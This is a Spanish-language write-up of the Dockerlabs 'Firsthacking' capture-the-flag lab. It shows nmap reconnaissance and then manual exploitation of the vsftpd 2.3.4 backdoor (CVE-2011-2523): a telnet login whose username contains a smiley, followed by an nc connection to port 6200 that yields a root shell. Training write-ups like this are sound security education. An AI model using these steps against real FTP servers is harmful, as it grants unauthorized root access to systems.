Firsthacking
Despliegue del Lab
Primero descargamos la máquina vulnerable desde la página de Dockerlabs.

Luego descomprimimos el archivo .zip que acabamos de descargar.
unzip fisthacking.zipPara correr la máquina, ejecutamos el siguiente comando:
sudo bash auto_deploy.sh firsthacking.tar
Reconocimiento
Lanzamos un ping a la IP para confirmar que esté activa. En mi caso me vino bien para darme cuenta de que no tenía conectividad con la máquina; aparecía el error de "Host unreachable", por lo que acudí a las recomendaciones de la propia web y pude solucionar el inconveniente ejecutando el comando sudo systemctl restart docker. Luego volví a efectuar un ping y la máquina me respondió:
$ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.346 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.346/0.346/0.346/0.000 ms
Como el valor del TTL (Time To Live) es de 64, podemos deducir que se trata de una máquina Linux.
Lo que sigue es lanzar un escaneo de puertos para ver cuáles están abiertos, así como los servicios que corren por esos puertos. Dichos servicios pueden ser vulnerables, lo que nos permitiría aprovecharnos como atacantes para ganar acceso al sistema.
$sudo nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 20:34 -03
Initiating ARP Ping Scan at 20:34
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 20:34, 0.15s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 20:34
Scanning 172.17.0.2 [65535 ports]
Discovered open port 21/tcp on 172.17.0.2
Completed SYN Stealth Scan at 20:34, 2.04s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000011s latency).
Scanned at 2024-05-21 20:34:08 -03 for 2s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)El único puerto abierto es el 21; lanzamos un conjunto de scripts básicos de reconocimiento para recolectar más información sobre el servicio.
$nmap -p21 -sCV 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 20:34 -03
Nmap scan report for 172.17.0.2
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.09 secondsIntrusión
Ahora conocemos la versión del servicio FTP: vsftpd 2.3.4.
Si buscamos exploits asociados a dicha versión, encontraremos el CVE 2011-2523. Se trata de un backdoor que nos permitirá llegar a conseguir una ejecución remota de comandos.
A continuación vamos a proceder con la explotación manual.
Primero nos conectamos por telnet al puerto 21 de la máquina víctima.
telnet 172.17.0.2 21Podemos introducir cualquier usuario y cualquier contraseña, eso da igual. La clave es que el nombre de usuario contenga una sonrisita :)
Luego escapamos con Ctrl+] y finalmente cerramos la conexión con quit.

Nos conectamos con nc a la máquina por el puerto 6200. La razón es que, debido a un backdoor que se introdujo en esta versión, con la carita feliz conseguimos crear una shell por dicho puerto que está esperando recibir nuestra conexión.
nc 172.17.0.2 6200Al conectarnos, ya podemos ejecutar comandos como root.

Como alternativa, también se puede recurrir a Metasploit para su explotación.
Last updated